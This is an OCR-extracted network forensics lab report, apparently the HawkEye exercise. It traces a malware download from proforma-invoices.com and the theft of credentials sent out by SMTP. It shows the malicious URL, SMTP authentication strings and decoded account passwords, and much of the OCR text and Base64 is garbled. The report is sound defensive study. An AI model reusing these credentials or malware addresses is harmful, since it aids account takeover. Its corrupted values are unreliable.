5f 42 @@ 8@ 11 ¢8 ab ©a 04 @a @4 @2 @4
35 d5 86 @@ 3f 5f d4 a@ @2 81 80 @@ o1

> Internet Protocol Version 4, Src: 10.4.10.4, Dst: 10.4.10.132
> User Datagram Protocol, Src Port: 53, Dst Port: 54662

~ Domain Name System (response) o0 e 00 11 7@ 72 &f 66 6f 72 6d 61 2d
Transaction ID: @xage2 6f 69 63 65 73 @3 63 6F 6d 00 00 01 00
Flags: ex818@ Standard query response, No error e258 @1 c@ @c @@ @1 @@ e1 ee oe 38 3e e o4 FEJCEIED
Questions: 1 ease
Answer RRs: 1
Authority RRs: &
Additional RRs: @
~ Queries
proforma-invoices.com: type A, class IN

v [Ansvers

> proforma-invoices.com: type A, class IN, addr 217.182.138.150

Request Ii 2084

[Time: ©.786002800 seconds]

@ 7 Textitem (text), 16 bytes Packets: 4003 - Displayed: 74 (1.8%) Profile: Default

Figure 11. DNS response resolving proforma-invoices.com to 217.182.138.150.

Observation
The DNS response resolved proforma-invoices.com to the IP address
217.182.138.150, which was later verified using VirusTotal during the investigation.
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5.10 Threat Intelligence Verification

2]

After identifying the suspicious domain and its resolved IP address during DNS analysis,
the IP address was verified using VirusTotal to determine its reputation. Threat
intelligence platforms help investigators validate whether an IP address has been
associated with malicious activity, providing additional evidence to support forensic

findings.

[&] %% virustotal.com/gui/ip-address/217.182.138.150 C¥ Install oy &} o

217,182.138,150 P @ o signin (1D

Did you intend to search across the file corpus instead? Click here X

C' Reanalyze More V

217.182.138.150 (217.182.0.0/16)

AS 16276 (OVHSAS) 23 days ago

DETECTION DETAILS RELATIONS COMMUNITY 3

Join our Community and enjoy additional community insights and crowdsourced detections, plus an APl key to automate checks.

Security vendors' analysis © Do you want to automate checks?

alphaMountain.ai Webroot
Abusix Acronis

ADMINUSLabs AlLabs (MONITORAPP)

Figure 12. VirusTotal analysis of IP address 217.182.138.150.

Observation
The VirusTotal analysis showed that the IP address 217.182.138.150 was detected as

malicious by multiple security vendors. This confirmed that the server contacted by
the victim had a suspicious reputation and supported the findings of the DNS

investigation.
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5.11 HTTP Communication Analysis

After identifying the suspicious domain, the HTTP traffic was examined to understand
communication between the victim system and the remote server. The captured
requests and responses helped identify the downloaded file, the victim's browser
information, and details about the web server involved in the communication.

stealerpeap - 8 X

Eile Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Adn @ RE ] &= & = @ q & TF [
[ Thup [B= -]+
No. Time Source Destination Protocol Length  Info |
~ 210 2015-84-10 20:37:54.727276 10.4.198.132 217.182.138.150 HTTP 392 GET /proforma/tkraw_Protected9S.exe HTTP/1.1
l«— 3155 2019-04-18 20:37:56.877204 217.182.138.15@ 10.4.10.132 HTTP 790 HTTP/1.1 208 OK (application/x-msdownload)
3164 2019-04-10 20:38:15.769899 10.4.10.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3166 2019-84-10 20:38:15.821153 66.171.248.178 10.4.10.132 HTTP 222 HTTP/1.1 208 OK (text/html)
3295 20@19-84-1@ 20:48:20.135668 108.4.18.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3297 2019-84-18 208:48:28.201885 66.171.248.178 18.4.18.132 HTTP 222 HTTP/1.1 20@ OK (text/html)
3382 2819-84-18 20:58:24.459381 10.4.18.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3384 2019-84-18 208:58:24.522476 66.171.248.178 18.4.10.132 HTTP 222 HTTP/1.1 208 OK (text/html)
3467 2019-84-10 21:08:30.227206 10.4.10.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3469 2019-04-10 21:08:30.284397 66.171.248.178 le.4.10.132 HTTP 222 HTTP/1.1 208 OK (text/html)
3582 2019-84-10 21:18:34.34270@5 10.4.108.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3584 2019-84-1@ 21:18:34.410908 66.171.248.178 10.4.10.132 HTTP 222 HTTP/1.1 20@ OK (text/html)
3837 2019-84-18 21:28:38.509579 10.4.18.132 66.171.248.178 HTTP 129 GET / HTTP/1.1

Frame 21@: 392 bytes on wire (3136 bits), 392 bytes captured (3136 bits)
Ethernet II, Src: HewlettPacka_lc:47:ae (90:08:82:1c:47:ae), Dst: Netgear b6:93:fl (20:e5:2a:b6:93:f1)
Internet Protocol Version 4, Src: 10.4.10.132, Dst: 217.182.138.15@
Transmission Control Protocol, Src Port: 49204, Dst Port: 8@, Seq: 1, Ack: 1, Len: 338
Hypertext Transfer Protocol |
> GET /proforma/tkraw_Protected99.exe HTTP/1.1\r\n
Accept: */*\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.@ (compatible; MSIE 7.9; Windows NT 6.1; WOWE4; Trident/7.8; SLCC2; .NET CLR 2.0.50727; .NE..
Host: proforma-invoices.com\rin
Connection: Keep-Alive\r\n
\ri\n
Response in frame: 3155
[Full request URI: http://proforma-invoices.com/proforma/tkraw Protected9s.exe

<

@ 7 Hypertext Transfer Protocol (http), 338 bytes Packets: 4003 - Displayed: 16 (0.4%) Profile: Default

Figure 13. HTTP GET request for the malicious executable tkraw_Protected99.exe.

Observation

The HTTP GET request shows that the victim system requested the executable
tkraw_Protected99.exe from proforma-invoices.com. The HTTP request headers
also reveal the User-Agent, indicating that the victim system was running Windows 7
using Internet Explorer.
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ste P - o

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Am 2 TRE QesEF S S & & & fF [
[ ]http B -]+
No. Time Source Destination Protocol Length  Info .
+~ 210 2019-84-18 20:37:54.727276 10.4.10.132 217.182.138.150 HTTP 392 GET /proforma/tkraw_Protected39.exe HTTP/1.1
3155 2019-84-10 20:37:56.077204 217.182.138.150 10.4.10.132 HTTP 798 HTTP/1.1 200 OK (application/x-msdownload)
3164 2019-04-10 20:38:15.769899 10.4.10.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3166 2019-84-10 20:38:15.821153 66.171.248.178 10.4.10.132 HTTP 222 HTTP/1.1 208 OK (text/html)
3295 2019-04-10 20:48:208.135668 18.4.10.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3297 2019-84-10 208:48:28.201885 66.171.248.178 18.4.10.132 HTTP 222 HTTP/1.1 20@ OK (text/html)
3382 2819-84-18 20:58:24.459381 108.4.18.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3384 2019-84-10 20:58:24.522476 66.171.248.178 10.4.10.132 HTTP 222 HTTP/1.1 200 OK (text/html)
3467 2019-84-10 21:08:30.227206 10.4.18.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3469 2019-84-16 21:88:38.284397 66.171.248.178 18.4.10.132 HTTP 222 HTTP/1.1 208 OK (text/html)
3582 2819-84-18 21:18:34.342705 10.4.18.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3584 2019-84-10 21:18:34.410908 66.171.248.178 10.4.10.132 HTTP 222 HTTP/1.1 208 OK (text/html)
3837 2019-04-10 21:28:38.509579 10.4.10.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
Last-Modified: Wed, 1@ Apr 2019 @4:44:31 GMT\r\n £00000b6 33 37 3a 35 34 20 47 4d 54 @d @a 53 65 72 7
Content-Type: spplication/x-msdownload\r\n 9960000 72 3a 20 4c 69 74 65 53 70 65 65 64 od ea ¢ |
) Content-Length: 2025472\r\n ::x::i; 6e 6e 65 63 74 69 :: 6e 3a 20 4b 65 65 7@ “
Accept-Ranges: bytes\r\n eeoesate F73 d
Date: Wed, 18 Apr 2819 20:37:54 GMT\r\n 20000100 =]
[Server: LiteSpeed\rin e00ee110 80
Connection: Keep-Alive\r\n 98000120 1@
\rf\n oeee13e cd
. oogeelse 2 61
Request in frame: 210 20000150 a4
[Time since request: 1.349928000 seconds] 20080160 %)
[Request URI: /proforma/tkraw_Protecteds9.exe] eegea17e 52
[Full request URI: http://proforma-invoices.com/proforma/tkraw Protectedd9.exe eoeeaise 5§
File Data: 2025472 bytes s =
» Media Type
Reassembled TCP (2025704 bytes)

@ 7 HTTP Server (http.server), 19 bytes Packets: 4003 - Displayed: 16 (0.4%) Profile: Default

Figure 14. HTTP response confirming successful delivery of the requested
executable.

Observation

The HTTP response returned HTTP 200 OK, confirming that the request was
successful. The response also revealed details about the web server and confirmed
that the executable file was successfully delivered to the victims system
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5.12 SMTP Data Exfiltration Analysis

The SMTP communication was examined to determine whether the compromised
system attempted to send information through email. By following the SMTP TCP
stream, the email conversation, authentication process, sender and recipient
details, and message contents were analyzed to identify evidence of data
exfiltration.

| Wireshark - Follow TCP Stream (tcp.stream eq 16) - stealer.pcap

220-p3plcpnledls.prod.phx3.secureserver.net ESMTP Exim 4.91 #1 Wed, 10 Apr 2019 13:38:15 -0700
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.

EHLO Beijing-5cd1-PC

250-p3plcpnle4dls.prod.phx3.secureserver.net Hello Beijing-5cd1-PC [173.66.146.112]
250-SIZE 52428800

250-8BITMIME

250-PIPELINING

250-AUTH PLAIN LOGIN

258-CHUNKING

250-STARTTLS

250-SMTPUTF8

250 HELP

AUTH login c2FsZXMuZGVsQGlhY3dpbmxvZ21zdGljcySpbg==
334 UGFzc3dvemQe

U2F sZXNAMjM=

235 Authentication succeeded

MAIL FROM:<sales.del@macwinlogistics.in>

250 0K

RCPT TO:<sales.del@macwinlogistics.in>

250 Accepted

Packet 3178. 12 client pkts, 9 server pkts, 14 turns. Click to select.

a

Entire conversation (3355 bytes) ~ Show as  ASCII ~ No delta times  ~ Stream 16 &
Find: ] Case sensitive Find Next
Filter Out This Stream Print Save as... Back Close Help

Figure 15. SMTP conversation showing email authentication and data transmission.

Observation

The SMTP TCP stream shows that the client successfully authenticated with the mail
server using the AUTH LOGIN mechanism. After authentication, the client issued the
MAIL FROM, RCPT TO, and DATA commands, confirming that an email was prepared
and transmitted. These actions indicate that the compromised system attempted to
send information to an external recipient.
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Wireshark - Follow TCP Stream (tcp.stream eq 16) - stealer.pcap

RCPT TO:<sales.del@macwinlogistics.in>

250 Accepted

DATA

354 Enter message, ending with "." on a line by itself

MIME-Version: 1.8

From: sales.del@macwinlogistics.in

To: sales.del@macwinlogistics.in

Date: 16 Apr 20619 20:38:08 +00060

Subject: =?utf-8?B?SGF3a8V5ZSBLZX1sb2dnZXIgLSBSZWIvemadgdjkglSBQYXNzd29yZHMgTGOncyAtTHIvbWFuLm1jZ3VpemUgXCBCRULKS
USHLTVDRDEtUEMgLSAXNzMuUNYuMTQ2LjExMg==>2=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: base&4

SGF3a@V5ZSBLZX1sb2dnZXIgL5BSZWIvemdgd jkNC1Bhe3N3b3IkeyBMb2dzDQpyb21hbist
Y2d1aXJ1IFwgQkVISk1ORy@1QeQxLVBDDQoNCjOOPTOSPTOOPTOIPTOIPTEIPTOSPTOOPTEO
PTB9PTOSPTBOPTE9PTOOPTOIPTOIPTOIDQpVUkwgICAgICAgICAgICAgICA6IGhRdHBZ018Yy
bG9nal4uYW9sLmNvbSOhY2NvdWS@L2NoYWxsZWSnZS9wYXNzd29yZAOKV2ViIEIyb3dzZXIg
ICAgICAgOiBIbnR1cmS1dCBFeHBsb3I1ciA3L AgLSASLIANCIVZZXIgTMFtZSAgICAgICAE
IDogem9tYW4ubWNndWlyZTkxNEBhb2wuY29tDQpQYXNzd29yZCAgICAgICAZICA6IFBAC3N3
MHJkJAGKUGFzc3dvemQgU3RyZWSndGggOiBWZXISIFNOcmIuZweKVXN1ciBOYWLI1IEZpZlixk
ICAgOiANC1Bhe3N3b3IKIEZpZWxkICAgIDogDQpDemVhdGVKIFRpbWUgICAZICAGIAGKTWOK
alZpZWQgVG1tZSAgICAgOiANCKZpbGYUYW11ICAgICAZICAZIDogDQOSPTOIPTEOPTOIPTEY
PT@9PTOOPTEOPTOSPTOOPTEOSPTOOPTEOPTOSPTOOPTEOSPTOOPQOKDQOSPTOOPTOSPTOIPTEO9
PTESPTOIPTEOPTE2PTOOPTEOPTEOPTOOPTOSPTEOPTE9PTROPQEKVVIMICAEICAgZICAgICAE
ICAg0iBodHRwczovL3d3dy5iYWSrb2ZhbWVyaWNhLmNvbS8NC1d1YiBCcm93c2VyICAgICAg
IDogQ2hyb211DQpVe2VyIEShbWUgICAgICAGICASIHIVbWFULmZ3VpecmUNC1Bhe 3N3b3Tk
ICAgICAgICAgIDogUEBzc3cwemQkDQpQYXNzd29yZCBTdHI1bmd@aCA6IFZ1cnkgU3Ryb25n

Packet 3194. 12 client pkts, 9 server pkis, 14 turns. Click to select.

Entire conversation (3355 bytes) v Show as  ASCII ~ No delta times Stream 16 ¥
Find: (] Case sensitive [ Find Next
Filter Out This Stream Print Save as... Back Close Help

Figure 16. SMTP TCP stream showing the email subject and encoded message
content.

Observation

The SMTP conversation contains the email Subject along with Base64-encoded
message content. The presence of Base64-encoded data suggests that sensitive
information was encoded before transmission, indicating an attempt to conceal the
email contents during exfiltration.
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5.13 Decoded Credential Analysis

The Base64-encoded email content extracted from the SMTP communication was
decoded using CyberChef to examine the information transmitted by the compromised
system. Decoding the message revealed sensitive credentials, confirming that the
malware successfully collected and exfiltrated user data.

& c 25 gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D" true,false)&input=U0dGM2EwV[VaUOJMWIhsc2lyZG5aWEINTFNCU1pXSnZjbTR...  ¥¢ ) °
Download CyberChef ¥ Last build: An hour ago Options g About / Support (@
Operations Recipe ~amB Input + Oz 8 =
Search... SR N PTaQPTBQPTBQDépov;nI(ngI[ngI[AgI[AgI(AMFJubWFuIEinBVpcmuN(kchprVZFa

aWSUICAZICAZIDOgTVMET3VebGavayAyMDAY Lz IWMDMVM ] AwNy 8y MDEWDQpFbWF pbCAgICAE

Favourites * Alphabet ICAgICAgICAGIHIVBWFULM1Z3VpemVACGLEemFqdiNt1Yma4LmNybQeKU2VydmVyICAgICAE
A-Za-z@-9+/= ICAgICAgOiBwb3AucGlEemFqdit 1¥Yme4LmNybQeKU2VydmVyIFBvcnQgICAgICAgOIASOTUN
e Fra CINLY3VyZWQgICAgICAgICAgIDOgTmENCIR5cGUEICAgICAgICAEICAEIDOgUESQMWAKVXNL
ciAgICAgICAgICARICAgOiByb21hbi5tY2d1aXI1DQpQYXNzd20yZCAgICAgICAGICAGIFBA

Remove nen-alphabet chars D Strict mode €3N3MHIkIABKUHIVZmlsZSAgTCAgICAgICAg01BPAXRsb29rDQpQYXNzd29yZCBTdHI 1bmde
aCABIFZlenkgU3Ryb25nDQPTTVRQIFNlenZ1ciAgICAgICABIHNtdHAUCGlEemFqdWtlYmag

LmNvbQeKUB1UUCBTZXI2ZXIgUGSydCAgOiA10DENCjBOPTAOPTEOPTOOPTEIPTEIPTEOPTES

From Base64
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e e mc 2196 = 30 Tr Raw Bytes ¢ CRLF (detected)
ra
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Passwords Logs
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URL Decode
Regular expression URL : https://login.aol.com/account/challenge/password
Web Browser : Internet Explorer 7.8 - 9.0
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= Password : P@sswerd$
Fork STEP ‘ BAKE! N t . Password Strength : Very Strong
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wac 1597 = 47 (@© 29ms  Tr Raw Bytes €4 CRLF (detected)

Figure 17. Decoded credentials extracted from the exfiltrated email.

Observation

The decoded email content revealed sensitive information, including Bank of
America login credentials. The extracted data contained the target website,
username, password, browser version, and the victim's hostname BEJING-5CD1-PC.
This confirms that the malware successfully collected sensitive credentials and
attempted to exfiltrate them through email.
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Key Findings

The forensic investigation produced the following key findings:

The PCAP file contained evidence of malicious network activity involving multiple
protocols, including DNS, HTTP, Kerberos, and SMTP.

The victim system resolved the suspicious domain proforma-invoices.com, which
mapped to the IP address 217.182.138.150.

VirusTotal analysis identified the resolved IP address as malicious supporting the
presence of suspicious communication.

The victim system downloaded the executable file tkraw_Protected99.exe through an
HTTP GET request.

SMTP analysis confirmed that the compromised system authenticated with the mail
server and transmitted an email containing encoded information.

Base64 decoding of the email content revealed sensitive user credentials, including login
information and the victim hostname BEJING-5CD1-PC, confirming successful credential
theft and data exfiltration.

Conclusion

The HawkEye Network Forensics investigation successfully identified the complete
“sequence of malicious activity within the captured network traffic. The analysis
demonstrated how the victim system communicated with a suspicious domain,
downloaded a malicious executable, and transmitted stolen credentials through SMTP.
By combining packet analysis, threat intelligence verification, and credential decoding,
the investigation provided clear evidence of credential theft and data exfiltration. This
investigation strengthened practical skills in packet analysis, protocol investigation,
malware communication analysis, and digital forensic reporting while demonstrating the
importance of network forensics in incident response.
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